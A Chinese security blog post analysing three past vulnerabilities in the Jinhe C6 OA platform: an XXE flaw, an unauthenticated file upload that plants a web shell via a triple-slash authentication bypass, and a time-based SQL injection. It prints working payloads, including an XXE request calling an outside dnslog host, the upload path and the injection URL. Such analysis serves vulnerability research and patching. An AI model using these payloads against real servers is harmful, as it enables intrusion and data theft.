金和oa协同管理平台历史漏洞分析三则

admin 2024年3月28日01:16:27评论6 views字数 1235阅读4分7秒阅读模式

金和oa协同管理平台历史漏洞分析三则

金和oa协同管理平台(又称金和C6协调管理平台),共有20多个应用模块,160多个应用子模块,涉及的企业管理业务包括协同办公管理、人力资源管理、项目管理、客户关系管理、企业目标管理、费用管理等多个业务范围。

金和oa协同管理平台历史漏洞分析三则

C6协同管理系统漏洞多到不行,远不止公开的那些漏洞,我就挑几个典型来分析下。

  1. XXE漏洞

漏洞所在代码为JHSoft.Web.Message.dll

XmlDeal类中初始化方法为Page_Load,会接收输入流中的xml代码进行解析,且没有做鉴权

金和oa协同管理平台历史漏洞分析三则

因此直接请求即可

POST /c6/JHSoft.Web.Message/XmlDeal.aspx HTTP/1.1Host: xxxxContent-Type: application/Xml <!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://iohndteton.dgrh3.cn/"> %remote;]>'

金和oa协同管理平台历史漏洞分析三则

dnslog接收到请求信息

金和oa协同管理平台历史漏洞分析三则

2.任意文件上传

这个漏洞因为没有前端代码,分析起来只能靠一半的猜解

漏洞URL路径为

/C6/JHSoft.Web.Portal/EditMain.aspx///?id=1.aspx

漏洞代码在JHSoft.Web.Portal.dll的EditMain类中

金和oa协同管理平台历史漏洞分析三则

该类初始化方法Page_Load接收两个参数add和id,add为文件保存路径,id为文件名

add不传参时默认保存路径为JHSoft.Web.PortalDefault

金和oa协同管理平台历史漏洞分析三则

回到漏洞URL,访问/C6/JHSoft.Web.Portal/EditMain.aspx///?id=1.aspx

其中三个斜杠///,起到了权限绕过的作用,无需鉴权即可访问接口

传参id为1.aspx,使得最终保存文件名为1.aspx

金和oa协同管理平台历史漏洞分析三则

在上方输入框中输入一句话,点击保存按钮(btn_save)后会调用对应的方法,即btn_server_click方法,保存文件到服务器

金和oa协同管理平台历史漏洞分析三则

之后保存的shell地址就为

/C6/JHSoft.Web.Portal/Default///1.aspx/

连接即可

金和oa协同管理平台历史漏洞分析三则

3.SQL注入

我也审了不少C6的注入了,其实都很朴实无华,接口没有鉴权+SQL语句中直接拼接参数

举个例子,下面的URL参数IncentiveID和TVersion存在SQL注入

/C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1

漏洞代码在JHSoft.Web.IncentivePlan.dll中

接收参数IncentiveID和TVersion之后,进行初始化GetPlanInfoInit

金和oa协同管理平台历史漏洞分析三则

然后再调用了GetAppFlagById,继续传参

金和oa协同管理平台历史漏洞分析三则

最后竟直接拼接在SQL语句中然后执行,造成SQL注入

金和oa协同管理平台历史漏洞分析三则

END

原文始发于微信公众号(HackingWiki漏洞感知):金和oa协同管理平台历史漏洞分析三则

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年3月28日01:16:27
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   金和oa协同管理平台历史漏洞分析三则http://cn-sec.com/archives/2607093.html

发表评论

匿名网友 填写信息